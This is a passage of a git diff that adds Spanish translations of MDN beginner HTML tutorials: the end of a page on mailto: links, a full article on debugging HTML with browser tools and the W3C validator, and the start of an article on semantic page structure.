+<p>Es posible crear enlaces o botones que, cuando se pulsan, abren un nuevo correo saliente en lugar de enlazar a un recurso o página. Esto se consigue con el elemento ancla {{HTMLElement("a")}} y el elemento <code>mailto:</code> seguido del esquema de la URL.</p>
+
+<p>En su forma más básica, un enlace <code>mailto:</code> simplemente contiene la dirección de correo electrónico de los destinatarios. Por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;a href="mailto:nowhere@mozilla.org"&gt;Enviar correo electrónico a ninguna parte&lt;/a&gt;
+</pre>
+
+<p>Esto da como resultado un enlace que se ve así: <a href="mailto:nowhere@mozilla.org"> Enviar correo electrónico a ninguna parte</a>.</p>
+
+<p>De hecho, incluso el atributo con la dirección de correo electrónico es opcional. Si lo omites y tu ({{HTMLAttrxRef("href", "a")}} simplemente es "mailto:", aparecerá una nueva ventana de correo saliente en el gestor de correo sin la dirección del destinatario. Esto es útil cuando queremos compartir enlaces que los usuarios puedan pulsar para enviar un correo electrónico y elegir un destinatario posteriormente.</p>
+
+<h3 id="Especificar_detalles">Especificar detalles</h3>
+
+<p>Además de la dirección de correo electrónico, puedes proporcionar otra información. De hecho, puedes incluir cualquier campo estándar contenido en el encabezado de cualquier mensaje en la URL <code>mailto</code> que proporciones. Los más utilizados son el «<code>subject</code>» (asunto), «<code>cc</code>» (con copia a) o «<code>bcc</code>» (copia oculta), y «<code>body</code>» (cuerpo del mensaje, que no es realmente un campo de la cabecera, pero permite especificar un mensaje breve para el nuevo correo electrónico). Cada campo y su valor se especifican como un argumento de la consulta.</p>
+
+<p>Veamos un ejemplo que incluye estos campos:</p>
+
+<pre class="brush: html notranslate">&lt;a href="mailto:nowhere@mozilla.org?cc=name2@rapidtables.com&amp;bcc=name3@rapidtables.com&amp;subject=The%20subject%20of%20the%20email&amp;body=The%20body%20of%20the%20email"&gt;
+  Enviar un correo electrónico cc, bcc, asunto y cuerpo
+&lt;/a&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Los valores de cada campo deben tener la URL codificada, es decir, sin caracteres no imprimibles (caracteres invisibles, tabulaciones, retornos de carro y saltos de página) y espacios con codificación porcentual (%20) {{Interwiki("wikipedia", "Código porciento")}}. También hay que tener en cuenta el uso del signo de interrogación (?) para separar la URL principal de los valores de los campos, y el símbolo ampersand (&amp;) para separar cada campo dentro del enlace <code>mailto:</code>. Esta es la notación de consulta URL estándar. Lee {{web.link("/es/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data#The_GET_method", "el método GET")}} para comprender mejor qué notación de consulta URL se usa comúnmente.</p>
+</div>
+
+<p>A continuación otros ejemplos de utilización de enlaces <code>mailto</code>:</p>
+
+<ul>
+ <li><a href="mailto:">mailto:</a></li>
+ <li><a href="mailto:nowhere@mozilla.org">mailto:nowhere@mozilla.org</a></li>
+ <li><a href="mailto:nowhere@mozilla.org,nobody@mozilla.org">mailto:nowhere@mozilla.org,nobody@mozilla.org</a></li>
+ <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org</a></li>
+ <li><a href="mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&amp;subject=This%20is%20the%20subject">mailto:nowhere@mozilla.org?cc=nobody@mozilla.org&amp;subject=This%20is%20the%20subject</a></li>
+</ul>
+
+<h2 id="¡Pon_a_prueba_tus_habilidades!">¡Pon a prueba tus habilidades!</h2>
+
+<p>Has llegado al final de este artículo, pero ¿puedes recordar la información más importante? Encuentra más ejercicios con los que comprobar que has retenido esta información antes de seguir adelante; consulta {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Test_your_skills:_Links", "Pon a prueba tus habilidades: Enlaces")}}.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Eso es todo en cuanto a enlaces, ¡por ahora! Volveremos a ellos más tarde en este curso cuando comencemos a usar estilos. Lo siguiente en HTML, será aprender la semántica de texto para usar algunas características avanzadas/inusuales que nos serán utilidad — Formato de texto avanzado será la próxima parada.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "¿Qué hay en el «head»? Metadatos en HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Fundamentos de texto HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Crear hipervínculos")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Formateo de texto avanzado")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Estructura web y documentación")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Depurar HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Marcado para una carta")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Estructuración del contenido de una página")}}</li>
+</ul>
diff --git a/files/es/learn/html/introduccion_a_html/debugging_html/index.html b/files/es/learn/html/introduccion_a_html/debugging_html/index.html
new file mode 100644
index 0000000000..114b93ff0f
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/debugging_html/index.html
@@ -0,0 +1,171 @@
+---
+title: Depurar el HTML
+slug: Learn/HTML/Introduccion_a_HTML/Debugging_HTML
+tags:
+  - Error
+  - Guía
+  - HTML
+  - Principiante
+  - Validación
+  - Validador
+  - depurar
+  - programar
+translation_of: Learn/HTML/Introduction_to_HTML/Debugging_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">Escribir HTML es fácil, pero ¿qué pasa si algo va mal y desconocemos dónde está el error de codificación? En este artículo veremos varias herramientas que nos ayudarán a arreglar errores en HTML.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Estar familiarizado con los principios básicos de HTML, como los vistos en el apartado <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/iniciar">Empezar con el HTML</a>, <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/texto">Conocimientos básicos de aplicación de formato a textos con HTML</a> y <a href="/es/docs/Learn/HTML/Introduccion_a_HTML/Creating_hyperlinks">Creación de hiperenlaces</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender el funcionamiento básico de las herramientas de depuración de problemas de código en HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Depurar_no_debe_asustarnos">Depurar no debe asustarnos</h2>
+
+<p>Cuando escribimos cualquier tipo de código, normalmente todo va bien, hasta ese fatídico momento en el que ocurre un error, hemos hecho algo mal y el código no funciona, o no funciona del todo, no lo suficientemente bien. Por ejemplo, el dibujo siguiente muestra un error de {{glossary("compile","compilación")}} de un programa sencillo escrito en lenguaje <a href="https://www.rust-lang.org/">Rust</a>.</p>
+
+<p><img alt="A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string." src="https://mdn.mozillademos.org/files/12435/error-message.png" style="display: block; height: 520px; margin: 0px auto; width: 711px;">En el ejemplo, el mensaje de error es fácilmente comprensible: "unterminated double quote string" (comillas sin cerrar en el texto). Si analizamos el listado de código, observamos que en <code>println!(Hello, world!");</code> faltan una comillas. Pero, los mensajes de error pueden complicarse con facilidad y su interpretación ser menos sencilla a medida que los programas aumentan en tamaño, e incluso casos sencillo pueden llegar a intimidar a alguien que no sabe nada de Rust.</p>
+
+<p>Sin embargo, la depuración no nos debe asustar; la clave para sentirnos cómodos con la escritura y la depuración de cualquier lenguaje o código es la familiaridad, tanto con el lenguaje como con las herramientas.</p>
+
+<h2 id="HTML_y_depuración">HTML y depuración</h2>
+
+<p>HTML no es tan complicado de entender como Rust; HTML no se compila por separado antes de que el navegador lo analice (se interpreta, no se compila). Y la sintaxis de los {{glossary("element","elementos")}} de HTML es mucho más sencilla de entender que la de cualquier lenguaje de programación real como Rust, {{glossary("JavaScript")}} o {{glossary("Python")}}. La forma en que los navegadores ejecutan HTML es más <strong>permisiva</strong> que la de los otros lenguajes, cosa que es buena y mala a la vez.</p>
+
+<h3 id="Código_permisivo">Código permisivo</h3>
+
+<p>¿Qué queremos decir con <em>permisivo</em>? Bien, normalmente cuando hacemos algo mal al codificar, suele haber dos tipos de error:</p>
+
+<ul>
+ <li><strong>Errores sintácticos</strong>: Son errores de escritura en el código que impiden que el programa funcione, como el error en Rust de arriba. Suelen ser fáciles de arreglar si estamos familiarizados con las herramientas adecuadas y sabemos el significado de los mensajes de error.</li>
+ <li><strong>Errores lógicos</strong>: En estos errores la sintaxis es correcta, pero el código no hace lo que debería, por lo que el programa funciona de forma incorrecta. Estos errores son, por lo general, más difíciles de solucionar que los sintácticos, porque no hay mensajes de error que nos avisen de ellos.</li>
+</ul>
+
+<p>HTML en sí mismo no suele producir errores sintácticos porque los navegadores son permisivos con ellos; o sea, el código se sigue ejecutando ¡aun si hay errores! Los navegadores disponen de reglas internas para saber cómo interpretar los errores de marcado incorrecto que encuentran, y seguirán funcionando aunque no produzcan el resultado esperado. Esto puede también ser un problema, por supuesto.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La ejecución de HTML es permisiva porque cuando se creó la web por primera vez, se decidió que el hecho de permitir que la gente publicara su contenido era más importante que el hecho de que la sintaxis fuera totalmente correcta. La web no sería tan popular como lo es hoy en día si se hubiera sido más estricto desde el primer momento.</p>
+</div>
+
+<h3 id="Aprendizaje_activo_Estudio_del_código_permisivo">Aprendizaje activo: Estudio del código permisivo</h3>
+
+<p>Es hora de estudiar la naturaleza permisiva del código HTML por nosotros mismos.</p>
+
+<ol>
+ <li>En primer lugar, hagamos una copia de nuestro <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">ejemplo-demo a depurar</a> y guardémoslo de forma local. Está escrito para generar diversos errores que deberemos descubrir (se dice que el marcado de HTML está <strong>mal formado</strong>, en contraposición a un marcado <strong>bien formado</strong>).</li>
+ <li>A continuación, abrámoslo en un navegador; veremos lo siguiente:<img alt="A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes. " src="https://mdn.mozillademos.org/files/12437/badly-formed-html.png" style="display: block; margin: 0 auto;"></li>
+ <li>No parece que esté bien; veamos el código fuente para ver qué podemos hacer (solo mostramos el contenido del &lt;body&gt;):
+  <pre class="brush: html notranslate">&lt;h1&gt;HTML debugging examples&lt;/h1&gt;
+
+&lt;p&gt;What causes errors in HTML?
+
+&lt;ul&gt;
+  &lt;li&gt;Unclosed elements: If an element is &lt;strong&gt;not closed properly,
+      then its effect can spread to areas you didn't intend
+
+  &lt;li&gt;Badly nested elements: Nesting elements properly is also very important
+      for code behaving correctly. &lt;strong&gt;strong &lt;em&gt;strong emphasised?&lt;/strong&gt;
+      what is this?&lt;/em&gt;
+
+  &lt;li&gt;Unclosed attributes: Another common source of HTML problems. Let's
+      look at an example: &lt;a href="https://www.mozilla.org/&gt;link to Mozilla
+      homepage&lt;/a&gt;
+&lt;/ul&gt;</pre>
+ </li>
+ <li>Veamos qué problemas podemos descubrir:
+  <ul>
+   <li>El elemento {{htmlelement("p")}} y el {{htmlelement("li")}} no tienen etiquetas de cierre. Si comprobamos el resultado, no parece que haya generado un efecto grave en la representación del lenguaje de marcado, porque es fácil deducir que donde un elemento acaba, debería comenzar otro.</li>
+   <li>El primer elemento {{htmlelement("strong")}} no tiene etiqueta de cierre. Este resulta ser un poco más problemático porque no es fácil deducir dónde se supone que termina el elemento. De hecho, el énfasis fuerte se ha aplicado al resto del texto.</li>
+   <li>Esta sección está mal anidada: <code>&lt;strong&gt;strong &lt;em&gt;strong emphasised?&lt;/strong&gt; what is this?&lt;/em&gt;</code>. No es fácil de explicar la forma en que ha sido interpretado, debido al problema anterior.</li>
+   <li>Al valor del atributo {{htmlattrxref("href","a")}} le faltan las comillas de cierre. Esto parece haber causado el problema más grave: el enlace ha desaparecido totalmente.</li>
+  </ul>
+ </li>
+ <li>Ahora veamos lo que el navegador ha mostrado en contraposición al código fuente. Para ello podemos usar las herramientas de desarrollo del navegador. Si no estamos familiarizados con el uso de estas herramientas, echemos un vistazo rápido a <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">Descubrir las herramientas de desarrollo del navegador</a>, y luego continuaremos.</li>
+ <li>En el inspector de objetos (DOM), puedes comprobar la apariencia de cada elemento: <img alt="The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text &quot;What causes errors in HTML?&quot; Here you can see that the paragraph element has been closed by the browser." src="https://mdn.mozillademos.org/files/12439/html-inspector.png" style="display: block; margin: 0 auto;"></li>
+ <li>Vamos a explorar nuestro código en detalle con el inspector de objetos DOM para ver cómo el navegador ha arreglado nuestros errores de código HTML (lo hemos hecho con Firefox; otros navegadores modernos deberían conducir al mismo resultado):
+  <ul>
+   <li>Se han añadido etiquetas de cierre a los párrafos y las líneas de las listas.</li>
+   <li>Al no estar claro el final del elemento <code>&lt;strong&gt;</code>, el navegador lo ha aplicado individualmente a todos los bloques de texto siguientes, a cada uno le ha añadido su etiqueta <code>strong</code> propia, desde donde está ¡hasta el final del documento!</li>
+   <li>El navegador ha arreglado el anidamiento incorrecto del modo siguiente:
+    <pre class="brush: html notranslate">&lt;strong&gt;strong
+  &lt;em&gt;strong emphasised?&lt;/em&gt;
+&lt;/strong&gt;
+&lt;em&gt; what is this?&lt;/em&gt;</pre>
+   </li>
+   <li>El enlace a cuyo atributo le faltan las comillas del final ha sido ignorado. La última lista la ha dejado como sigue:
+    <pre class="brush: html notranslate">&lt;li&gt;
+  &lt;strong&gt;Unclosed attributes: Another common source of HTML problems.
+  Let's look at an example: &lt;/strong&gt;
+&lt;/li&gt;</pre>
+   </li>
+  </ul>
+ </li>
+</ol>
+
+<h3 id="Validación_HTML">Validación HTML</h3>
+
+<p>Con el ejemplo anterior podemos asegurarnos de que nuestro HTML está bien formado, pero ¿cómo? En el ejemplo siguiente podemos comprobar que es bastante fácil buscar entre las líneas y encontrar los errores en documentos pequeños; pero, ¿qué pasa cuando trabajamos con documentos HTML grandes y complejos?</p>
+
+<p>La mejor estrategia es comenzar por pasar tu página HTML por el <a href="https://validator.w3.org/">servicio de validación de etiquetas</a>; fue creado y está mantenido por el W3C, organización que se encarga de definir las especificaciones de HTML, CSS y otras tecnologías web. Esta página web toma un documento HTML como entrada, lo procesa, y genera un informe de dónde están los errores en el documento.</p>
+
+<p><img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Para validar el HTML, podemos proporcionar al validador una dirección web a la que apuntar, subirle un archivo HTML, o directamente introducirle el código HTML que queremos que revise.</p>
+
+<h3 id="Aprendizaje_activo_Validación_de_un_documento_HTML">Aprendizaje activo: Validación de un documento HTML</h3>
+
+<p align="left">Vamos a probar de validar nuestro <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">documento ejemplo</a>.</p>
+
+<ol>
+ <li>Primero, cargamos el <a href="https://validator.w3.org/">servicio de validación</a> en una pestaña del navegador, si no lo tenemos ya.</li>
+ <li>Hacemos clic en la subpestaña <a href="https://validator.w3.org/#validate_by_input">Validate by Direct Input</a>.</li>
+ <li>Copiamos el código del documento ejemplo (no solo el <code>body</code>) y lo pegamos en el cuadro de texto grande.</li>
+ <li>Hacemos clic en el botón <em>Check</em>.</li>
+</ol>
+
+<p>Esto debería proporcionar una lista de errores y otras informaciones:</p>
+
+<p><img alt="A list of of HTML validation results from the W3C markup validation service" src="https://mdn.mozillademos.org/files/12443/validation-results.png" style="display: block; margin: 0 auto;"></p>
+
+<h4 id="Interpretación_de_los_mensajes_de_error">Interpretación de los mensajes de error</h4>
+
+<p>La lista de mensajes de error que nos presenta el validador suele ayudar, pero a veces, no resultan muy útiles; con un poco de práctica aprenderemos a interpretar la lista para arreglar nuestro código. Veamos los mensajes de error y su significado. Observamos que cada mensaje se presenta con un número de línea y de columna, para ayudar a localizar el error más fácilmente.</p>
+
+<ul>
+ <li>"<span>Consider adding a </span><code>lang</code><span> attribute to the </span><code>html</code><span> start tag to declare the language of this document.": No se trata de un error, sino de una advertencia (warning). La <a class="external external-icon" href="https://www.w3.org/International/questions/qa-html-language-declarations" rel="noopener">recomendación</a> es definir siempre un idioma, y este "warning" explica cómo hacerlo..</span></li>
+ <li>"End tag <code>li</code> implied, but there were open elements" (2 instancias): Estos mensajes indican que un elemento que ha sido abierto debe ser cerrado. La etiqueta de cierre se supone, pero no está ahí. La información de la línea/columna apunta a la primera línea después de donde debería estar la etiqueta de cierre; es una buena pista para ver qué pasa.</li>
+ <li>"Unclosed element <code>strong</code>": Un elemento {{htmlelement("strong")}} no ha sido cerrado, y la línea/columna apunta directamente al lugar del error.</li>
+ <li>"End tag <code>strong</code> violates nesting rules": Este apunta a elementos que están incorrectamente anidados, y la línea/columna nos indica donde están.</li>
+ <li>"End of file reached when inside an attribute value. Ignoring tag": Esta es bastante enigmática; se refiere al hecho de que el valor de un atributo no ha sido bien construido, posiblemente cerca del final del archivo porque el final aparece dentro del valor del atributo. El hecho de que el navegador no muestre el enlace nos debería dar una buena pista de qué elemento es el erróneo.</li>
+ <li>"End of file seen and there were open elements": Este es un poco ambiguo, pero básicamente se refiere al hecho de que hay elementos abiertos que necesitan ser cerrados adecuadamente. Los números de línea apuntan a las últimas líneas del archivo, y este mensaje de error viene con una línea de código que indica un ejemplo de un elemento abierto:
+  <pre class="notranslate">example: &lt;a href="https://www.mozilla.org/&gt;link to Mozilla homepage&lt;/a&gt; ↩ &lt;/ul&gt;↩ &lt;/body&gt;↩&lt;/html&gt;</pre>
+
+  <div class="note">
+  <p><strong>Nota</strong>: Un atributo al que le falten las comillas de cierre puede ser un elemento abierto, porque el resto del documento será interpretado como si fuera parte de este atributo.</p>
+  </div>
+ </li>
+ <li>Unclosed element <code>ul</code>: Este no ayuda mucho, porque el elemento {{htmlelement("ul")}} está cerrado correctamente. Este error se debe a que el elemento {{htmlelement("a")}} no ha sido cerrado, ya que faltan las comillas de cierre.</li>
+</ul>
+
+<p><span>No debemos preocuparnos si no podemos corregir todos los mensajes de error; es práctico tratar de arreglar unos pocos errores cada vez y volver a pasar el validador para ver los que quedan. A veces, al arreglar unos cuantos se arreglan automáticamente otros muchos; con frecuencia muchos errores los causa uno solo en un efecto dominó.</span></p>
+
+<p><span>Sabremos  que todos los errores están arreglados cuando veamos el mensaje siguiente: </span></p>
+
+<p><img alt='Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."' src="https://mdn.mozillademos.org/files/12445/valid-html-banner.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Pues hasta aquí una introducción al depurado de HTML, que nos proporcionará habilidades para cuando comencemos a depurar CSS, JavaScript y otros lenguajes más adelante en nuestros trabajos. Este apartado también constituye el final de la introducción al módulo de artículos de aprendizaje de HTML; ahora podemos hacer los test de prueba: el primero de los cuales está en el enlace siguiente.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p>
diff --git a/files/es/learn/html/introduccion_a_html/estructura/index.html b/files/es/learn/html/introduccion_a_html/estructura/index.html
new file mode 100644
index 0000000000..1f5f1e315c
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/estructura/index.html
@@ -0,0 +1,298 @@
+---
+title: Estructura web y documentación
+slug: Learn/HTML/Introduccion_a_HTML/estructura
+tags:
+  - CodingScripting
+  - Composición
+  - Diseño
+  - Formato
+  - Guía
+  - HTML
+  - Presentación
+  - Principiante
+  - Sitio
+  - Sitio Web
+  - bloques
+  - pagina
+  - programar
+  - semántica
+translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">Además de definir partes individuales de tu página (como un párrafo o una imagen), {{Glossary("HTML")}} también dispone de elementos de bloque que se pueden utilizar para estructurar las distintas áreas de tu sito web (tal como el encabezado, el menú de navegación o la parte del contenido principal. En este artículo veras cómo planificar una estructura básica de página web y escribirás el HTML que representa esa estructura.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Estar familiarizado con HTML, cubierto en {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}. Aplicación de formato a texto en documentos HTML, según lo expuesto en la sección {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Fundamentos de texto HTML")}}. Funcionamiento de los hipervínculos, cubierto en {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Crear hipervínculos")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender a estructurar tu documento usando atributos semánticos y construir la estructura de una página web sencilla.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Partes_básicas_de_un_documento">Partes básicas de un documento</h2>
+
+<p>Las páginas web pueden y se deben diferenciar las unas de las otras, pero todas tienden a contener elementos comunes parecidos, a menos que estén destinadas a mostrar un vídeo o un juego a pantalla completa, o que formen parte de un proyecto artístico concreto o, simplemente, que estén mal estructuradas; estos elementos comunes son:</p>
+
+<dl>
+ <dt>encabezado:</dt>
+ <dd>Normalmente formado por una gran franja que cruza la parte superior de la página con un <strong>gran título</strong>, un logotipo y quizás un lema. Esta parte suele permanecer invariable mientras navegas entre las páginas de un mismo sitio web.</dd>
+ <dt>barra de navegación:</dt>
+ <dd>Son los enlaces a las secciones principales del sitio web. Normalmente está formada por un menú con botones, enlaces o pestañas. Al igual que el <em>encabezado</em>, este contenido suele permanecer invariable en las diferentes páginas del sitio; tener un menú inconsistente en tu página web conducirá a los usuarios a la confusión y frustración. Muchos diseñadores web consideran que el menú de navegación forma parte del encabezado y que no posee un componente individual, aunque no es necesario que sea así; de hecho, algunos argumentan que tener ambos componentes por separado es mejor por motivos de {{web.link("/es/docs/Learn/Accessibility", "accesibilidad")}} porque los lectores de pantalla pueden leer mejor ambos elementos si están separados.</dd>
+ <dt>contenido principal:</dt>
+ <dd>Es la gran parte central de la página y contiene la mayor parte del contenido particular de una página web concreta; por ejemplo, el video que quieres ver, la narración que quieres leer, el mapa que quieres consultar, los titulares de las noticias, etc. ¡Esta es la parte que definitivamente debe variar mucho de una página a otra de tu sitio web!</dd>
+ <dt>barra lateral:</dt>
+ <dd>Suele incluir algún tipo de información adicional, enlaces, citas, publicidad, etc. Normalmente está relacionada con el contenido principal de la página (por ejemplo, en una página de noticias, la barra lateral podría contener la biografía del autor o enlaces a artículos relacionados), pero en otras ocasiones encontraras elementos recurrentes como un menú de navegación secundario.</dd>
+ <dt>pie de página:</dt>
+ <dd>Es la parte inferior de la página, que generalmente contiene la letra pequeña, el copyright o la información de contacto. Es el sitio donde se coloca la información común (al igual que en el encabezado), pero esta información no suele ser tan importante o es secundaria con respecto a la página en sí misma. El pie también se suele usar para propósitos {{Glossary("SEO")}}, e incluye enlaces de acceso rápido al contenido más popular.</dd>
+</dl>
+
+<p>Una página web «típica» se podría parecer a esta:</p>
+
+<p><img alt="Un ejemplo de estructura de sitio web simple con un encabezado principal, menú de navegación, contenido principal, barra lateral y pie de página." src="https://mdn.mozillademos.org/files/12417/sample-website.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="HTML_para_dar_estructura_al_contenido">HTML para dar estructura al contenido</h2>
+
+<p>El ejemplo no es muy atractivo, pero puede servir para ilustrar un ejemplo de diseño de una página web típica. Puedes encontrar sitios con más columnas, algunas mucho más complejas, pero esta servirá para hacerte una idea general sobre el tema. Con el CSS adecuado podrás usar muchos más elementos para decorar las distintas secciones y conseguir que queden como deses, pero como se comentó anteriormente, necesitas respetar ciertas normas semánticas, y <em>utilizar el elemento adecuado para cada tipo de sección</em>.</p>
+
+<p>La parte visual no lo es todo. Utilizarás diferentes fuentes y colores para llamar la atención de los usuarios sin discapacidad visual de las partes más importantes del contenido, como el menú de navegación y sus enlaces correspondientes, pero ¿qué ocurre con los usuarios con discapacidad visual que no pueden distinguir los colores llamativos o el tamaño grande de las fuentes?</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los daltónicos representan alrededor del <a href="http://www.color-blindness.com/2006/04/28/colorblind-population/">4% de la población mundial</a> (aproximadamente 1 de cada 12 hombres y 1 de cada 200 mujeres son daltónicos). Los invidentes y las personas con discapacidad visual representan aproximadamente el 4-5% de la población mundial (en 2012 había {{Interwiki("wikipedia", "Discapacidad visual")}} 285 millones de personas con alguna de estas características en el mundo, mientras que el total de la población estaba {{Interwiki("wikipedia", "World_human_population#/media/File:World_population_history.svg", "alrededor de los 7,000 millones")}}.</p>
+</div>
+
+<p>En tu código HTML puedes crear secciones de contenido basadas en su <em>funcionalidad</em> — puedes usar elementos que representen sin ambigüedad las diferentes secciones de contenido descritas, de forma que las tecnologías de accesibilidad y los lectores de pantalla puedan reconocer esos elementos y asistir en tareas como «encontrar el menú de navegación», o «encontrar el contenido principal». Como se mencionó anteriormente en el curso, hay una serie de {{web.link("/es/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Por_qué_necesitamos_estructura", "consecuencias por no usar la estructura de elementos y semántica adecuada para hacer el trabajo correctamente")}}.</p>
+
+<p>HTML dispone de etiquetas adecuadas que puedes usar para establecer estas secciones semánticas, por ejemplo:</p>
+
+<ul>
+ <li><strong>encabezado</strong>: {{HTMLElement("header")}}.</li>
+ <li><strong>menú de navegación </strong>: {{HTMLElement("nav")}}.</li>
+ <li><strong>contenido principal</strong>: {{HTMLElement("main")}}, con varias subsecciones (además de la barra lateral) representadas por los elementos {{HTMLElement("article")}}, {{HTMLElement("section")}}, y {{HTMLElement("div")}}.</li>
+ <li><strong>barra lateral</strong>: {{HTMLElement("aside")}}; a menudo colocada dentro de {{HTMLElement("main")}}.</li>
+ <li><strong>pie de página</strong>: {{HTMLElement("footer")}}.</li>
+</ul>
+
+<h3 id="Aprendizaje_activo_El_código_del_ejemplo_anterior">Aprendizaje activo: El código del ejemplo anterior</h3>
+
+<p>El ejemplo de página web que se muestra arriba se consigue a partir del siguiente código (disponible en el <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">repositorio Github</a>). Observa el ejemplo anterior, y a continuación échale un vistazo al código de abajo para identificar las secciones marcadas en el ejemplo.</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+
+    &lt;title&gt;El título de mi página&lt;/title&gt;
+    &lt;link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css"&gt;
+    &lt;link rel="stylesheet" href="style.css"&gt;
+
+    &lt;!-- las tres siguientes líneas son un truco para obtener elementos semánticos de HTML5 que funcionan en versiones de Internet Explorer antiguas --&gt;
+    &lt;!--[if lt IE 9]&gt;
+      &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"&gt;&lt;/script&gt;
+    &lt;![endif]--&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+    &lt;!-- Aquí empieza el encabezado principal que se mantendrá en todas las páginas del sitio web --&gt;
+
+    &lt;header&gt;
+      &lt;h1&gt;Encabezado&lt;/h1&gt;
+    &lt;/header&gt;
+
+    &lt;nav&gt;
+      &lt;ul&gt;
+        &lt;li&gt;&lt;a href="#"&gt;Inicio&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#"&gt;Nuestro equipo&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#"&gt;Proyectos&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#"&gt;Contacto&lt;/a&gt;&lt;/li&gt;
+      &lt;/ul&gt;
+
+       &lt;!-- Un formulario de búsqueda es una forma no-lineal de hacer búsquedas en un sitio web. --&gt;
+
+       &lt;form&gt;
+         &lt;input type="search" name="q" placeholder="Buscar"&gt;
+         &lt;input type="submit" value="¡Vamos!"&gt;
+       &lt;/form&gt;
+     &lt;/nav&gt;
+
+    &lt;!-- Aquí está el contenido principal de nuestra página --&gt;
+    &lt;main&gt;
+
+      &lt;!-- Contiene un artículo --&gt;
+      &lt;article&gt;
+        &lt;h2&gt;Título del artículo&lt;/h2&gt;
+
